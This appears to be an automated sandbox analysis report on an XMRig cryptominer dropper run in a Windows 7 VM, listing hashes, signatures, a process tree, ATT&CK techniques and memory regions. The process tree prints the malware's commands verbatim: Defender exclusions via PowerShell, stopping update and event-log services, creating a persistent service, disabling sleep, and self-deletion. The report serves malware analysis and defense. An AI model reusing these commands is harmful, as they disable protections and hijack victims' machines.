Analysis

  • max time kernel
    79s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 01:30

General

  • Target

    6dc3136c0271899f92093c4b95e1aed0_NeikiAnalytics.exe

  • Size

    5.3MB

  • MD5

    6dc3136c0271899f92093c4b95e1aed0

  • SHA1

    c6fc23c61735691495306306e896db62770d3b08

  • SHA256

    b73ac73453769556d1728dbd88a496ba587c9da32d3db8034e50696f192ebc3a

  • SHA512

    dd78fa6f153bdf990f545740947e71524d06aec21b46b3ab71b7f180940e6fefdcef0db91fe17c97564e91aa70fc862b8016e1c895dd725f8f50c787541a4aea

  • SSDEEP

    98304:34Gr/W2hRkTwVNt6MkTi+XAVd18EjU6+cVX6IwUu:3jr/TMwVNtaP4KEjl6S

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6dc3136c0271899f92093c4b95e1aed0_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\6dc3136c0271899f92093c4b95e1aed0_NeikiAnalytics.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2332
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2320
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2620
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2552
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2652
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2692
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2260
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2672
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2588
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2592
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2388
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2644
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "NCUDPJVW"
      2⤵
      • Launches sc.exe
      PID:2412
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "NCUDPJVW" binpath= "C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2376
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:2204
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "NCUDPJVW"
      2⤵
      • Launches sc.exe
      PID:2884
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\6dc3136c0271899f92093c4b95e1aed0_NeikiAnalytics.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:1616
    • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
      C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:948
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:1260
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:944
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1968
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2768
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1508
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:620
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1080
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:848
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1752
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2000
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2152
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2088

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      System Services

      2
      T1569

      Service Execution

      2
      T1569.002

      Persistence

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Privilege Escalation

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Defense Evasion

      Impair Defenses

      1
      T1562

      Impact

      Service Stop

      1
      T1489

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      Downloads

      • C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
        Filesize

        5.3MB

        MD5

        6dc3136c0271899f92093c4b95e1aed0

        SHA1

        c6fc23c61735691495306306e896db62770d3b08

        SHA256

        b73ac73453769556d1728dbd88a496ba587c9da32d3db8034e50696f192ebc3a

        SHA512

        dd78fa6f153bdf990f545740947e71524d06aec21b46b3ab71b7f180940e6fefdcef0db91fe17c97564e91aa70fc862b8016e1c895dd725f8f50c787541a4aea

      • memory/948-17-0x0000000019F80000-0x000000001A262000-memory.dmp
        Filesize

        2.9MB

      • memory/948-18-0x00000000009A0000-0x00000000009A8000-memory.dmp
        Filesize

        32KB

      • memory/2088-36-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-39-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-34-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-41-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-33-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-38-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-40-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-30-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-28-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-37-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-32-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-35-0x00000000002F0000-0x0000000000310000-memory.dmp
        Filesize

        128KB

      • memory/2088-29-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2088-31-0x0000000140000000-0x0000000140848000-memory.dmp
        Filesize

        8.3MB

      • memory/2152-19-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2152-22-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2152-21-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2152-26-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2152-20-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2152-24-0x0000000140000000-0x000000014000E000-memory.dmp
        Filesize

        56KB

      • memory/2320-5-0x000000001B5B0000-0x000000001B892000-memory.dmp
        Filesize

        2.9MB

      • memory/2320-4-0x000007FEF5EAE000-0x000007FEF5EAF000-memory.dmp
        Filesize

        4KB

      • memory/2320-10-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
        Filesize

        9.6MB

      • memory/2320-12-0x0000000002BDB000-0x0000000002C42000-memory.dmp
        Filesize

        412KB

      • memory/2320-8-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
        Filesize

        9.6MB

      • memory/2320-6-0x0000000002820000-0x0000000002828000-memory.dmp
        Filesize

        32KB

      • memory/2320-7-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
        Filesize

        9.6MB

      • memory/2320-9-0x0000000002BD4000-0x0000000002BD7000-memory.dmp
        Filesize

        12KB

      • memory/2320-11-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp
        Filesize

        9.6MB